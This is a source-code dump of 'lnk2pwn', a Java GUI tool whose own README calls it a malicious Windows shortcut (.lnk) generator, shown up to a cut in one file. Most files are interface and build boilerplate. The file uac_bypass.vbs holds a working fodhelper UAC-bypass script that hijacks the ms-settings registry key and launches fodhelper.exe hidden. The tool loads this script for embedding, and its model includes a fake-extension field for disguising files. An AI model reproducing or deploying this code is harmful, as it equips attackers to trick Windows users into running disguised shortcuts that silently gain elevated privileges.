├── src ├── main │ ├── resources │ │ ├── icons │ │ │ ├── about.png │ │ │ ├── bomb.png │ │ │ ├── exit.png │ │ │ ├── file.png │ │ │ ├── skull.png │ │ │ └── github.png │ │ ├── log4j.properties │ │ └── vbs │ │ │ └── uac_bypass.vbs │ └── java │ │ └── com │ │ └── itgorillaz │ │ └── lnk2pwn │ │ ├── view │ │ ├── core │ │ │ ├── BoundsPolicy.java │ │ │ ├── WindowController.java │ │ │ └── DefaultWindowController.java │ │ ├── utils │ │ │ ├── ColorUtils.java │ │ │ └── IconFactory.java │ │ ├── action │ │ │ ├── ExitAction.java │ │ │ ├── ShowAboutDialogAction.java │ │ │ └── GenerateShortcutAction.java │ │ ├── Lnk2PwnFrame.java │ │ ├── AboutDialog.java │ │ ├── MenuBar.java │ │ └── form │ │ │ ├── FormPanel.java │ │ │ ├── UACBypassPanel.java │ │ │ └── ShortcutInfoPanel.java │ │ ├── config │ │ ├── ModelConfig.java │ │ └── UACBypassConfig.java │ │ ├── Lnk2Pwn.java │ │ ├── ApplicationRunner.java │ │ ├── model │ │ └── Shortcut.java │ │ └── controller │ │ └── ShortcutController.java └── test │ └── java │ └── com │ └── itgorillaz │ └── lnk2pwn │ └── AppTest.java ├── README.md ├── LICENSE ├── .gitignore └── pom.xml /src/main/resources/icons/about.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/it-gorillaz/lnk2pwn/HEAD/src/main/resources/icons/about.png -------------------------------------------------------------------------------- /src/main/resources/icons/bomb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/it-gorillaz/lnk2pwn/HEAD/src/main/resources/icons/bomb.png -------------------------------------------------------------------------------- /src/main/resources/icons/exit.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/it-gorillaz/lnk2pwn/HEAD/src/main/resources/icons/exit.png -------------------------------------------------------------------------------- /src/main/resources/icons/file.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/it-gorillaz/lnk2pwn/HEAD/src/main/resources/icons/file.png -------------------------------------------------------------------------------- /src/main/resources/icons/skull.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/it-gorillaz/lnk2pwn/HEAD/src/main/resources/icons/skull.png -------------------------------------------------------------------------------- /src/main/resources/icons/github.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/it-gorillaz/lnk2pwn/HEAD/src/main/resources/icons/github.png -------------------------------------------------------------------------------- /src/main/java/com/itgorillaz/lnk2pwn/view/core/BoundsPolicy.java: -------------------------------------------------------------------------------- 1 | package com.itgorillaz.lnk2pwn.view.core; 2 | 3 | public enum BoundsPolicy { 4 | PACK_ONLY, 5 | PACK_AND_CENTER, 6 | CENTER_ONLY, 7 | MAXIMIZE, 8 | MAXIMIZE_BOTH, 9 | RESTORE_LAST_STATE 10 | } 11 | -------------------------------------------------------------------------------- /src/main/resources/log4j.properties: -------------------------------------------------------------------------------- 1 | # Root logger option 2 | log4j.rootLogger=INFO, stdout 3 | 4 | # Direct log messages to stdout 5 | log4j.appender.stdout=org.apache.log4j.ConsoleAppender 6 | log4j.appender.stdout.Target=System.out 7 | log4j.appender.stdout.layout=org.apache.log4j.PatternLayout 8 | log4j.appender.stdout.layout.ConversionPattern=%d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n -------------------------------------------------------------------------------- /src/main/java/com/itgorillaz/lnk2pwn/view/core/WindowController.java: -------------------------------------------------------------------------------- 1 | package com.itgorillaz.lnk2pwn.view.core; 2 | 3 | import java.awt.Window; 4 | 5 | import javax.swing.JFrame; 6 | 7 | public interface WindowController { 8 | 9 | public void show(JFrame frame, BoundsPolicy policy); 10 | 11 | public Window getActiveWindow(); 12 | 13 | public JFrame getRootFrame(); 14 | 15 | } 16 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # lnk2pwn 2 | Malicious Shortcut(.lnk) Generator 3 | 4 | ## About 5 | **lnk2pwn** is a gui tool that automates the process of generating malicious .lnk(Windows shortcut) files. 6 | 7 | Motivation: https://medium.com/@tommelo/pwned-by-a-shortcut-b21473970944 8 | 9 | POC: https://www.youtube.com/watch?v=EC5ei48MCG8 10 | 11 | ## License 12 | This is an open-source software licensed under the [MIT license](https://opensource.org/licenses/MIT). 13 | -------------------------------------------------------------------------------- /src/main/java/com/itgorillaz/lnk2pwn/config/ModelConfig.java: -------------------------------------------------------------------------------- 1 | package com.itgorillaz.lnk2pwn.config; 2 | 3 | import org.springframework.context.annotation.Bean; 4 | import org.springframework.context.annotation.Configuration; 5 | 6 | import com.itgorillaz.lnk2pwn.model.Shortcut; 7 | 8 | @Configuration 9 | public class ModelConfig { 10 | 11 | @Bean 12 | public Shortcut shortchut() { 13 | return new Shortcut(); 14 | } 15 | 16 | } 17 | -------------------------------------------------------------------------------- /src/main/java/com/itgorillaz/lnk2pwn/view/utils/ColorUtils.java: -------------------------------------------------------------------------------- 1 | package com.itgorillaz.lnk2pwn.view.utils; 2 | 3 | import java.awt.Color; 4 | 5 | public class ColorUtils { 6 | 7 | public static Color hex2Rgb(String hex) { 8 | return new Color( 9 | Integer.valueOf( hex.substring( 1, 3 ), 16 ), 10 | Integer.valueOf( hex.substring( 3, 5 ), 16 ), 11 | Integer.valueOf( hex.substring( 5, 7 ), 16 ) ); 12 | } 13 | 14 | } 15 | -------------------------------------------------------------------------------- /src/main/java/com/itgorillaz/lnk2pwn/view/utils/IconFactory.java: -------------------------------------------------------------------------------- 1 | package com.itgorillaz.lnk2pwn.view.utils; 2 | 3 | import java.net.URL; 4 | 5 | import javax.swing.ImageIcon; 6 | 7 | public class IconFactory { 8 | 9 | private static final String ICON_PATH = "icons/"; 10 | 11 | public static ImageIcon getIcon(String name) { 12 | ClassLoader loader = IconFactory.class.getClassLoader(); 13 | URL url = loader.getResource(ICON_PATH + name); 14 | return new ImageIcon(url); 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /src/main/java/com/itgorillaz/lnk2pwn/view/action/ExitAction.java: -------------------------------------------------------------------------------- 1 | package com.itgorillaz.lnk2pwn.view.action; 2 | 3 | import java.awt.event.ActionEvent; 4 | import java.awt.event.ActionListener; 5 | 6 | import org.apache.logging.log4j.LogManager; 7 | import org.apache.logging.log4j.Logger; 8 | import org.springframework.stereotype.Component; 9 | 10 | @Component 11 | public class ExitAction implements ActionListener { 12 | 13 | private static final Logger LOGGER = LogManager.getLogger(ExitAction.class); 14 | 15 | @Override 16 | public void actionPerformed(ActionEvent event) { 17 | LOGGER.info("Shutting down the application"); 18 | System.exit(0); 19 | } 20 | 21 | } 22 | -------------------------------------------------------------------------------- /src/main/java/com/itgorillaz/lnk2pwn/Lnk2Pwn.java: -------------------------------------------------------------------------------- 1 | package com.itgorillaz.lnk2pwn; 2 | 3 | import java.io.IOException; 4 | 5 | import org.springframework.boot.Banner.Mode; 6 | import org.springframework.boot.WebApplicationType; 7 | import org.springframework.boot.autoconfigure.SpringBootApplication; 8 | import org.springframework.boot.builder.SpringApplicationBuilder; 9 | 10 | @SpringBootApplication 11 | public class Lnk2Pwn { 12 | 13 | public static void main(String[] args) throws IOException { 14 | new SpringApplicationBuilder(Lnk2Pwn.class) 15 | .web(WebApplicationType.NONE) 16 | .bannerMode(Mode.OFF) 17 | .headless(false) 18 | .build() 19 | .run(args); 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /src/test/java/com/itgorillaz/lnk2pwn/AppTest.java: -------------------------------------------------------------------------------- 1 | package com.itgorillaz.lnk2pwn; 2 | 3 | import junit.framework.Test; 4 | import junit.framework.TestCase; 5 | import junit.framework.TestSuite; 6 | 7 | /** 8 | * Unit test for simple App. 9 | */ 10 | public class AppTest 11 | extends TestCase 12 | { 13 | /** 14 | * Create the test case 15 | * 16 | * @param testName name of the test case 17 | */ 18 | public AppTest( String testName ) 19 | { 20 | super( testName ); 21 | } 22 | 23 | /** 24 | * @return the suite of tests being tested 25 | */ 26 | public static Test suite() 27 | { 28 | return new TestSuite( AppTest.class ); 29 | } 30 | 31 | /** 32 | * Rigourous Test :-) 33 | */ 34 | public void testApp() 35 | { 36 | assertTrue( true ); 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /src/main/resources/vbs/uac_bypass.vbs: -------------------------------------------------------------------------------- 1 | Const HKEY_CURRENT_USER = &H80000001 2 | 3 | Const FodHelperPath = "C:\\Windows\\System32\\fodhelper.exe" 4 | Const RegKeyPathStr = "SOFTWARE\\Classes\\ms-settings\\shell\\open\\command" 5 | Const RegKeyPath = "Software\\Classes\\ms-settings\\shell\\open\\command" 6 | Const DelegateExecRegKeyName = "DelegateExecute" 7 | Const DelegateExecRegKeyValue = "" 8 | Const DefaultRegKeyName = "" 9 | Const DefaultRegKeyValue = "%s" 10 | 11 | Const RegObjectPath = "winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv" 12 | Set Registry = GetObject(RegObjectPath) 13 | 14 | Registry.CreateKey HKEY_CURRENT_USER, RegKeyPath 15 | Registry.SetStringValue HKEY_CURRENT_USER, RegKeyPathStr, DelegateExecRegKeyName, DelegateExecRegKeyValue 16 | Registry.SetStringValue HKEY_CURRENT_USER, RegKeyPathStr, DefaultRegKeyName, DefaultRegKeyValue 17 | 18 | Set Shell = WScript.CreateObject("WScript.Shell") 19 | Shell.Run FodHelperPath, 0, False -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 ITGorillaz 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /src/main/java/com/itgorillaz/lnk2pwn/view/action/ShowAboutDialogAction.java: -------------------------------------------------------------------------------- 1 | package com.itgorillaz.lnk2pwn.view.action; 2 | 3 | import java.awt.event.ActionEvent; 4 | import java.awt.event.ActionListener; 5 | 6 | import org.apache.logging.log4j.LogManager; 7 | import org.apache.logging.log4j.Logger; 8 | import org.springframework.beans.factory.annotation.Autowired; 9 | import org.springframework.stereotype.Component; 10 | 11 | import com.itgorillaz.lnk2pwn.view.AboutDialog; 12 | import com.itgorillaz.lnk2pwn.view.core.WindowController; 13 | 14 | @Component 15 | public class ShowAboutDialogAction implements ActionListener { 16 | 17 | private static final Logger LOGGER = LogManager.getLogger(ShowAboutDialogAction.class); 18 | 19 | @Autowired 20 | private WindowController windowController; 21 | 22 | @Autowired 23 | private AboutDialog aboutDialog; 24 | 25 | @Override 26 | public void actionPerformed(ActionEvent event) { 27 | LOGGER.info("About button clicked"); 28 | LOGGER.info("Openning the about modal dialog"); 29 | aboutDialog.setLocationRelativeTo(windowController.getRootFrame()); 30 | aboutDialog.setVisible(true); 31 | } 32 | 33 | } 34 | -------------------------------------------------------------------------------- /src/main/java/com/itgorillaz/lnk2pwn/config/UACBypassConfig.java: -------------------------------------------------------------------------------- 1 | package com.itgorillaz.lnk2pwn.config; 2 | 3 | import java.io.BufferedReader; 4 | import java.io.InputStream; 5 | import java.io.InputStreamReader; 6 | import java.util.stream.Collectors; 7 | 8 | import org.apache.logging.log4j.LogManager; 9 | import org.apache.logging.log4j.Logger; 10 | import org.springframework.context.annotation.Bean; 11 | import org.springframework.context.annotation.Configuration; 12 | 13 | @Configuration 14 | public class UACBypassConfig { 15 | 16 | private static final Logger LOGGER = LogManager.getLogger(UACBypassConfig.class); 17 | 18 | private final String LINE_SEPARATOR = System.lineSeparator(); 19 | private final String VBS_SOURCE_CODE_PATH = "vbs/uac_bypass.vbs"; 20 | 21 | @Bean(name="VBSSourceCode") 22 | public String getVBSSourceCode() { 23 | LOGGER.info("Loading VBS(UAC Bypass) source code"); 24 | 25 | InputStream in = UACBypassConfig.class.getClassLoader() 26 | .getResourceAsStream(VBS_SOURCE_CODE_PATH); 27 | 28 | return new BufferedReader(new InputStreamReader(in)) 29 | .lines() 30 | .collect(Collectors.joining(LINE_SEPARATOR)); 31 | } 32 | 33 | } 34 | -------------------------------------------------------------------------------- /src/main/java/com/itgorillaz/lnk2pwn/view/Lnk2PwnFrame.java: -------------------------------------------------------------------------------- 1 | package com.itgorillaz.lnk2pwn.view; 2 | 3 | import javax.annotation.PostConstruct; 4 | import javax.swing.JFrame; 5 | 6 | import org.springframework.beans.factory.annotation.Autowired; 7 | import org.springframework.stereotype.Component; 8 | 9 | import com.alee.laf.rootpane.WebFrame; 10 | import com.itgorillaz.lnk2pwn.view.form.FormPanel; 11 | import com.itgorillaz.lnk2pwn.view.utils.IconFactory; 12 | 13 | import net.miginfocom.swing.MigLayout; 14 | 15 | @Component 16 | public class Lnk2PwnFrame extends WebFrame { 17 | 18 | private static final long serialVersionUID = 8887385829173862121L; 19 | 20 | private final MigLayout LAYOUT = new MigLayout("", 21 | "[grow]", 22 | "[]"); 23 | 24 | @Autowired 25 | private MenuBar menubar; 26 | 27 | @Autowired 28 | private FormPanel formPanel; 29 | 30 | @PostConstruct 31 | private void initComponents() { 32 | this.setTitle("lnk2pwn"); 33 | this.setName("lnk2pwn"); 34 | this.setIconImage(IconFactory.getIcon("bomb.png").getImage()); 35 | this.setLayout(LAYOUT); 36 | this.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); 37 | this.setJMenuBar(menubar); 38 | this.add(formPanel, "grow"); 39 | } 40 | 41 | } 42 | -------------------------------------------------------------------------------- /src/main/java/com/itgorillaz/lnk2pwn/ApplicationRunner.java: -------------------------------------------------------------------------------- 1 | package com.itgorillaz.lnk2pwn; 2 | 3 | import javax.swing.SwingUtilities; 4 | 5 | import org.apache.logging.log4j.LogManager; 6 | import org.apache.logging.log4j.Logger; 7 | import org.springframework.beans.factory.annotation.Autowired; 8 | import org.springframework.boot.CommandLineRunner; 9 | import org.springframework.stereotype.Component; 10 | 11 | import com.alee.laf.WebLookAndFeel; 12 | import com.itgorillaz.lnk2pwn.view.Lnk2PwnFrame; 13 | import com.itgorillaz.lnk2pwn.view.core.BoundsPolicy; 14 | import com.itgorillaz.lnk2pwn.view.core.WindowController; 15 | 16 | @Component 17 | public class ApplicationRunner implements CommandLineRunner { 18 | 19 | private static final Logger LOGGER = LogManager.getLogger(ApplicationRunner.class); 20 | 21 | @Autowired 22 | private WindowController windowController; 23 | 24 | @Autowired 25 | private Lnk2PwnFrame frame; 26 | 27 | @Override 28 | public void run(String... args) throws Exception { 29 | LOGGER.info("Installing Web Look And Feel"); 30 | WebLookAndFeel.install(); 31 | 32 | SwingUtilities.invokeLater(new Runnable() { 33 | @Override 34 | public void run() { 35 | LOGGER.info("Running the main frame"); 36 | windowController.show(frame, BoundsPolicy.MAXIMIZE); 37 | } 38 | }); 39 | } 40 | 41 | } 42 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Directories # 2 | /build/ 3 | /bin/ 4 | target/ 5 | 6 | # OS Files # 7 | .DS_Store 8 | 9 | # Compiled class file 10 | *.class 11 | 12 | # Package Files # 13 | *.jar 14 | *.war 15 | *.ear 16 | *.db 17 | *.nar 18 | *.zip 19 | *.tar.gz 20 | *.rar 21 | 22 | ###################### 23 | # Windows 24 | ###################### 25 | 26 | # Windows image file caches 27 | Thumbs.db 28 | 29 | # Folder config file 30 | Desktop.ini 31 | 32 | ###################### 33 | # OSX 34 | ###################### 35 | 36 | .DS_Store 37 | .svn 38 | 39 | # Thumbnails 40 | ._* 41 | 42 | # Files that might appear on external disk 43 | .Spotlight-V100 44 | .Trashes 45 | 46 | 47 | ###################### 48 | # Eclipse 49 | ###################### 50 | 51 | *.pydevproject 52 | .project 53 | .metadata 54 | bin/** 55 | tmp/** 56 | tmp/**/* 57 | *.tmp 58 | *.bak 59 | *.swp 60 | *~.nib 61 | local.properties 62 | .classpath 63 | .settings/ 64 | .loadpath 65 | /src/main/resources/rebel.xml 66 | # External tool builders 67 | .externalToolBuilders/ 68 | 69 | # Locally stored "Eclipse launch configurations" 70 | *.launch 71 | 72 | # CDT-specific 73 | .cproject 74 | 75 | # PDT-specific 76 | .buildpath 77 | 78 | 79 | *.iml 80 | .idea/* 81 | 82 | # Log file 83 | *.log 84 | 85 | # BlueJ files 86 | *.ctxt 87 | 88 | # Mobile Tools for Java (J2ME) 89 | .mtj.tmp/ 90 | 91 | # virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml 92 | hs_err_pid* 93 | /target/ -------------------------------------------------------------------------------- /src/main/java/com/itgorillaz/lnk2pwn/view/AboutDialog.java: -------------------------------------------------------------------------------- 1 | package com.itgorillaz.lnk2pwn.view; 2 | 3 | import javax.annotation.PostConstruct; 4 | 5 | import org.springframework.stereotype.Component; 6 | 7 | import com.alee.extended.label.WebLinkLabel; 8 | import com.alee.extended.label.WebMultiLineLabel; 9 | import com.alee.laf.rootpane.WebDialog; 10 | import com.itgorillaz.lnk2pwn.view.utils.IconFactory; 11 | 12 | import net.miginfocom.swing.MigLayout; 13 | 14 | @Component 15 | public class AboutDialog extends WebDialog { 16 | 17 | private static final long serialVersionUID = 2844121433961138163L; 18 | 19 | @PostConstruct 20 | private void initComponents() { 21 | this.setModal(true); 22 | this.setTitle("About"); 23 | this.setSize(400, 250); 24 | this.setLayout(new MigLayout("", "[grow]", "[]50[]")); 25 | 26 | WebMultiLineLabel label = new WebMultiLineLabel (getBanner(), WebMultiLineLabel.CENTER); 27 | this.add(label, "wrap"); 28 | 29 | WebLinkLabel github = new WebLinkLabel("https://github.com/it-gorillaz/lnk2pwn", WebLinkLabel.CENTER); 30 | github.setLink("https://github.com/it-gorillaz/lnk2pwn"); 31 | github.setIcon(IconFactory.getIcon("github.png")); 32 | this.add(github, "grow"); 33 | } 34 | 35 | private String getBanner() { 36 | return 37 | ",-*\n" + 38 | "(_).lnk\n" + 39 | "-----------------\n" + 40 | "\n" + 41 | "Malicious Shortcut(.lnk) Generator\n" + 42 | "[v1.0.0]"; 43 | } 44 | 45 | } 46 | -------------------------------------------------------------------------------- /src/main/java/com/itgorillaz/lnk2pwn/view/MenuBar.java: -------------------------------------------------------------------------------- 1 | package com.itgorillaz.lnk2pwn.view; 2 | 3 | import javax.annotation.PostConstruct; 4 | 5 | import org.springframework.beans.factory.annotation.Autowired; 6 | import org.springframework.stereotype.Component; 7 | 8 | import com.alee.laf.menu.WebMenu; 9 | import com.alee.laf.menu.WebMenuBar; 10 | import com.alee.laf.menu.WebMenuItem; 11 | import com.alee.laf.separator.WebSeparator; 12 | import com.itgorillaz.lnk2pwn.view.action.ExitAction; 13 | import com.itgorillaz.lnk2pwn.view.action.ShowAboutDialogAction; 14 | import com.itgorillaz.lnk2pwn.view.utils.IconFactory; 15 | 16 | @Component 17 | public class MenuBar extends WebMenuBar { 18 | 19 | private static final long serialVersionUID = -288171329249268844L; 20 | 21 | @Autowired 22 | private ExitAction exitAction; 23 | 24 | @Autowired 25 | private ShowAboutDialogAction showAboutDialogAction; 26 | 27 | @PostConstruct 28 | private void initComponents() { 29 | WebMenu menu = new WebMenu("File"); 30 | menu.setIcon(IconFactory.getIcon("file.png")); 31 | 32 | WebMenuItem about = new WebMenuItem("About"); 33 | about.setIcon(IconFactory.getIcon("about.png")); 34 | about.addActionListener(showAboutDialogAction); 35 | 36 | WebMenuItem exit = new WebMenuItem("Exit"); 37 | exit.setIcon(IconFactory.getIcon("exit.png")); 38 | exit.addActionListener(exitAction); 39 | 40 | menu.add(about); 41 | menu.add(new WebSeparator()); 42 | menu.add(exit); 43 | 44 | this.add(menu); 45 | } 46 | 47 | } 48 | -------------------------------------------------------------------------------- /src/main/java/com/itgorillaz/lnk2pwn/view/form/FormPanel.java: -------------------------------------------------------------------------------- 1 | package com.itgorillaz.lnk2pwn.view.form; 2 | 3 | import javax.annotation.PostConstruct; 4 | 5 | import org.springframework.beans.factory.annotation.Autowired; 6 | import org.springframework.stereotype.Component; 7 | 8 | import com.alee.extended.painter.TitledBorderPainter; 9 | import com.alee.laf.button.WebButton; 10 | import com.alee.laf.panel.WebPanel; 11 | import com.itgorillaz.lnk2pwn.view.action.GenerateShortcutAction; 12 | import com.itgorillaz.lnk2pwn.view.utils.IconFactory; 13 | 14 | import net.miginfocom.swing.MigLayout; 15 | 16 | @Component 17 | public class FormPanel extends WebPanel { 18 | 19 | private static final long serialVersionUID = 4905134163745537325L; 20 | 21 | private WebButton generateButton = new WebButton("Generate Shortcut", IconFactory.getIcon("skull.png")); 22 | 23 | @Autowired 24 | private ShortcutInfoPanel shortcutInfoPanel; 25 | 26 | @Autowired 27 | private UACBypassPanel uacBypassPanel; 28 | 29 | @Autowired 30 | private GenerateShortcutAction generateShortcutAction; 31 | 32 | @PostConstruct 33 | private void initComponents() { 34 | this.setLayout(new MigLayout("", "[grow]", "[][grow][]")); 35 | 36 | generateButton.addActionListener(generateShortcutAction); 37 | shortcutInfoPanel.setPainter(new TitledBorderPainter<>("Shortcut")); 38 | uacBypassPanel.setPainter(new TitledBorderPainter<>("UAC Bypass")); 39 | 40 | WebPanel generatePanel = createGenerateButtonPanel(); 41 | 42 | this.add(shortcutInfoPanel, "grow,wrap"); 43 | this.add(uacBypassPanel, "w 100%,h 100%,wrap"); 44 | this.add(generatePanel, "grow"); 45 | } 46 | 47 | private WebPanel createGenerateButtonPanel() { 48 | MigLayout layout = new MigLayout("", "[grow]", ""); 49 | WebPanel panel = new WebPanel(); 50 | panel.setLayout(layout); 51 | panel.add(generateButton, "east"); 52 | 53 | return panel; 54 | } 55 | 56 | } 57 | -------------------------------------------------------------------------------- /src/main/java/com/itgorillaz/lnk2pwn/view/action/GenerateShortcutAction.java: -------------------------------------------------------------------------------- 1 | package com.itgorillaz.lnk2pwn.view.action; 2 | 3 | import java.awt.Desktop; 4 | import java.awt.event.ActionEvent; 5 | import java.awt.event.ActionListener; 6 | import java.io.File; 7 | 8 | import org.apache.logging.log4j.LogManager; 9 | import org.apache.logging.log4j.Logger; 10 | import org.springframework.beans.factory.annotation.Autowired; 11 | import org.springframework.stereotype.Component; 12 | 13 | import com.alee.extended.filechooser.WebDirectoryChooser; 14 | import com.alee.laf.optionpane.WebOptionPane; 15 | import com.alee.utils.swing.DialogOptions; 16 | import com.itgorillaz.lnk2pwn.controller.ShortcutController; 17 | import com.itgorillaz.lnk2pwn.model.Shortcut; 18 | import com.itgorillaz.lnk2pwn.view.core.WindowController; 19 | 20 | @Component 21 | public class GenerateShortcutAction implements ActionListener { 22 | 23 | private static final Logger LOGGER = LogManager.getLogger(GenerateShortcutAction.class); 24 | 25 | @Autowired 26 | private Shortcut shortcut; 27 | 28 | @Autowired 29 | private ShortcutController controller; 30 | 31 | @Autowired 32 | private WindowController windowController; 33 | 34 | private WebDirectoryChooser directoryChooser; 35 | 36 | @Override 37 | public void actionPerformed(ActionEvent event) { 38 | LOGGER.info("Generate button clicked"); 39 | 40 | if (directoryChooser == null) { 41 | directoryChooser = new WebDirectoryChooser(windowController.getRootFrame()); 42 | } 43 | 44 | LOGGER.info("Openning the directory chooser"); 45 | directoryChooser.setVisible(true); 46 | if (directoryChooser.getResult () == DialogOptions.CANCEL_OPTION){ 47 | LOGGER.info("No output path selected, canceling the action"); 48 | return; 49 | } 50 | 51 | File outputPath = directoryChooser.getSelectedDirectory(); 52 | shortcut.setOutputPath(outputPath.getAbsolutePath()); 53 | 54 | try { 55 | 56 | controller.generateShortcut(shortcut); 57 | int result = WebOptionPane.showConfirmDialog( 58 | windowController.getRootFrame(), 59 | "Shortcut successfully generated!\nWould you like to open the folder location?", 60 | "Shortcut", 61 | WebOptionPane.YES_NO_OPTION, 62 | WebOptionPane.INFORMATION_MESSAGE); 63 | 64 | if (WebOptionPane.YES_OPTION == result) { 65 | LOGGER.info("Openning the output path"); 66 | Desktop.getDesktop().open(outputPath); 67 | } 68 | 69 | } catch (Exception e) { 70 | LOGGER.error(e); 71 | } 72 | } 73 | 74 | } 75 | -------------------------------------------------------------------------------- /src/main/java/com/itgorillaz/lnk2pwn/model/Shortcut.java: -------------------------------------------------------------------------------- 1 | package com.itgorillaz.lnk2pwn.model; 2 | 3 | public class Shortcut { 4 | 5 | private String targetPath; 6 | private String workingDir; 7 | private String arguments; 8 | private String description; 9 | private String fileName; 10 | private String fakeExtension; 11 | private String iconLocation; 12 | private Integer iconIndex; 13 | private String windowStyle; 14 | private String vbsFileName; 15 | private String command; 16 | private String commandOuput; 17 | private String outputPath; 18 | 19 | public String getTargetPath() { 20 | return targetPath; 21 | } 22 | 23 | public void setTargetPath(String targetPath) { 24 | this.targetPath = targetPath; 25 | } 26 | 27 | public String getWorkingDir() { 28 | return workingDir; 29 | } 30 | 31 | public void setWorkingDir(String workingDir) { 32 | this.workingDir = workingDir; 33 | } 34 | 35 | public String getArguments() { 36 | return arguments; 37 | } 38 | 39 | public void setArguments(String arguments) { 40 | this.arguments = arguments; 41 | } 42 | 43 | public String getDescription() { 44 | return description; 45 | } 46 | 47 | public void setDescription(String description) { 48 | this.description = description; 49 | } 50 | 51 | public String getFileName() { 52 | return fileName; 53 | } 54 | 55 | public void setFileName(String fileName) { 56 | this.fileName = fileName; 57 | } 58 | 59 | public String getFakeExtension() { 60 | return fakeExtension; 61 | } 62 | 63 | public void setFakeExtension(String fakeExtension) { 64 | this.fakeExtension = fakeExtension; 65 | } 66 | 67 | public String getIconLocation() { 68 | return iconLocation; 69 | } 70 | 71 | public void setIconLocation(String iconPath) { 72 | this.iconLocation = iconPath; 73 | } 74 | 75 | public Integer getIconIndex() { 76 | return iconIndex; 77 | } 78 | 79 | public void setIconIndex(Integer iconIndex) { 80 | this.iconIndex = iconIndex; 81 | } 82 | 83 | public String getWindowStyle() { 84 | return windowStyle; 85 | } 86 | 87 | public void setWindowStyle(String windowStyle) { 88 | this.windowStyle = windowStyle; 89 | } 90 | 91 | public String getVbsFileName() { 92 | return vbsFileName; 93 | } 94 | 95 | public void setVbsFileName(String vbsFileName) { 96 | this.vbsFileName = vbsFileName; 97 | } 98 | 99 | public String getCommand() { 100 | return command; 101 | } 102 | 103 | public void setCommand(String command) { 104 | this.command = command; 105 | } 106 | 107 | public String getCommandOuput() { 108 | return commandOuput; 109 | } 110 | 111 | public void setCommandOuput(String commandOuput) { 112 | this.commandOuput = commandOuput; 113 | } 114 | 115 | public String getOutputPath() { 116 | return outputPath; 117 | } 118 | 119 | public void setOutputPath(String outputPath) { 120 | this.outputPath = outputPath; 121 | } 122 | 123 | } 124 | -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 3 | 4.0.0 4 | 5 | com.itgorillaz 6 | lnk2pwn 7 | 1.0.0 8 | jar 9 | 10 | lnk2pwn 11 | http://maven.apache.org 12 | 13 | 14 | org.springframework.boot 15 | spring-boot-starter-parent 16 | 2.1.0.RELEASE 17 | 18 | 19 | 20 | 21 | UTF-8 22 | UTF-8 23 | 1.8 24 | 1.8 25 | 1.8 26 | 27 | 28 | 29 | 30 | org.springframework.boot 31 | spring-boot-starter 32 | 33 | 34 | org.springframework.boot 35 | spring-boot-starter-logging 36 | 37 | 38 | 39 | 40 | 41 | com.miglayout 42 | miglayout 43 | 3.7.4 44 | 45 | 46 | 47 | com.weblookandfeel 48 | weblaf-core 49 | 1.2.8 50 | 51 | 52 | 53 | com.weblookandfeel 54 | weblaf-ui 55 | 1.2.8 56 | 57 | 58 | 59 | com.github.vatbub 60 | mslinks 61 | 1.1.4-SNAPSHOT 62 | 63 | 64 | 65 | org.apache.logging.log4j 66 | log4j-core 67 | 68 | 69 | 70 | org.apache.logging.log4j 71 | log4j-api 72 | 73 | 74 | 75 | org.springframework.boot 76 | spring-boot-starter-test 77 | test 78 | 79 | 80 | 81 | junit 82 | junit 83 | test 84 | 85 | 86 | 87 | 88 | 89 | 90 | org.springframework.boot 91 | spring-boot-maven-plugin 92 | 93 | 94 | 95 | repackage 96 | 97 | 98 | com.itgorillaz.lnk2pwn.Lnk2Pwn 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | -------------------------------------------------------------------------------- /src/main/java/com/itgorillaz/lnk2pwn/view/core/DefaultWindowController.java: -------------------------------------------------------------------------------- 1 | package com.itgorillaz.lnk2pwn.view.core; 2 | 3 | import java.awt.AWTEvent; 4 | import java.awt.Dimension; 5 | import java.awt.EventQueue; 6 | import java.awt.Insets; 7 | import java.awt.Toolkit; 8 | import java.awt.Window; 9 | import java.awt.event.AWTEventListener; 10 | import java.awt.event.WindowEvent; 11 | 12 | import javax.swing.JFrame; 13 | 14 | import org.springframework.stereotype.Component; 15 | 16 | @Component 17 | public class DefaultWindowController implements WindowController, AWTEventListener { 18 | 19 | private Window window; 20 | private JFrame root; 21 | 22 | @Override 23 | public void show(JFrame frame, BoundsPolicy policy) { 24 | Toolkit.getDefaultToolkit().addAWTEventListener(this, AWTEvent.WINDOW_EVENT_MASK); 25 | this.root = frame; 26 | this.initBounds(frame, policy); 27 | 